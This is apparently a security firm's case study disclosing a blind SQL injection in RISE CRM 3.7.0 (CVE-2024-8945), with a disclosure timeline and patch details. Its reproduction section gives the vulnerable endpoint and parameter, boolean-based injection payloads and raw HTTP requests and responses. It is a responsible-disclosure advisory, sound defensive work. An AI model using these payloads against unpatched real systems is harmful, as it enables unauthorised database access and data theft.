How SQL Injection Vulnerability was Identified in RISE CRM 3.7.0

At Bytium, ensuring the security and integrity of the applications our clients rely on is a top priority. One of our clients recently expressed interest in using RISE CRM to manage customer relationships. Delivering secure solutions is a part of our commitment. As part of our commitment, we conducted a thorough security audit of the CRM to evaluate its safety and identify potential vulnerabilities before recommending it to our client.

This case study outlines our steps to assess, report, and help remediate the vulnerability, ensuring the security of both the client’s operations and the application.

Importance of Security in CRM Systems

CRM, also known as Customer Relationship Management Systems, like RISE CRM, is an essential tool for businesses that allows them to manage customer data and projects. The application often stores sensitive client data, so ensuring it is secure enough is vital.

So, at Bytium, whenever a client is interested in implementing a third-party application, we always conduct a security audit before suggesting the application.

The Vulnerability: SQL Injection

During the assessment, we identified a SQL Injection vulnerability in the code. SQL Injection vulnerabilities can arise if the user input is not sanitized properly, allowing attackers to execute malicious SQL statements that could lead to full compromise of the application or expose sensitive data.

Affected version: 3.7.0
Patched Version: 3.7.1
CVE: CVE-2024-8945

Potential Impact

• Data leakage
• Databases access
• Full compromise of the application

Necessary Steps Taken

1. Engaged the Development Team: We immediately contacted the CRM development team and informed them of the details of the vulnerability and ways to fix it.
2. Collaboration with the Team: The development team worked on a fix, as a result they released 3.7.1 which is now safe from the SQL Injection at that point.

Vulnerability Details

Type: SQL Injection
Severity: Critical

Vulnerable Code Example:

      $id = $this->request->getPost("id");

The application directly assigns user input from the POST request to the $id variable without sanitizing or validating it. This could allow an attacker to inject malicious SQL into the request, potentially gaining unauthorized access to the database.

Vulnerable Parameter

• Parameter: id
• Endpoint: /index.php/dashboard/save

Reproducing The Vulnerability

A few steps are involved in reproducing the vulnerability:

1. Login to RISE CRM 3.7.0
2. First, click on the monitor icon from the top bar to add a new dashboard.
3. Intercept the post request using Burp Suite or a similar intercepting proxy tool.
4. Give the new dashboard a title(In my case, it is SQLI), select a color, click save, and forward the post endpoint POST /rise/index.php/dashboard/save to the burp suite repeater.
5. First, In the id parameter place the failed payload -1 OR 1=2-- - and success payload -1 OR 1=1-- -
6. It displays a different response, which confirms blind SQL Injection.

Reproduce Example:

Sending Successful payload -1 OR 1=1-- -:

POST /rise/index.php/dashboard/save HTTP/1.1
id=-1+OR+1=1--+-&data=false&title=SQLI&color=%2334495e

Response:

HTTP/1.1 200 OK

Content-Length: 86

{"success":true,"dashboard_id":"-1 OR 1=1-- -","message":"The record has been saved."}

Sending failed SQL Payload -1 OR 1=2-- -:

POST /rise/index.php/dashboard/save HTTP/1.1
id=-1+OR+1=2--+-&data=false&title=SQLI&color=%2334495e

We get a different response that confirms of SQL Injection:

HTTP/1.1 302 Found
Content-Length: 0

Mitigation

The developer team has collaborated with us and immediately released a patched version. It is best to upgrade to the latest version of RISE CRM.

Proof of Concept

A proof of concept is available after the vendor releases a patched version.

1. Vulnerability Details
2. Proof of Concept

Outcome

With our security assessment, we protected our client and helped the CRM development team address this critical vulnerability. The vulnerability was quickly addressed and resolved by close collaboration with the development team.

Advisory published in GitHub.

Timeline

• Initial Discovery: 3 Sep, 2024
• Vendor Notification: 3 Sep, 2024
• Vendor Response: 4 Sep, 2024
• Patch Availability: 9 Sep, 2024
• Public Disclosure: 12 Sep, 2024

The developer team agreed with us to publish the case study, and the CVE assignment was applied upon their request.

Acknowledgment

This vulnerability was discovered by Jobyer Ahmed.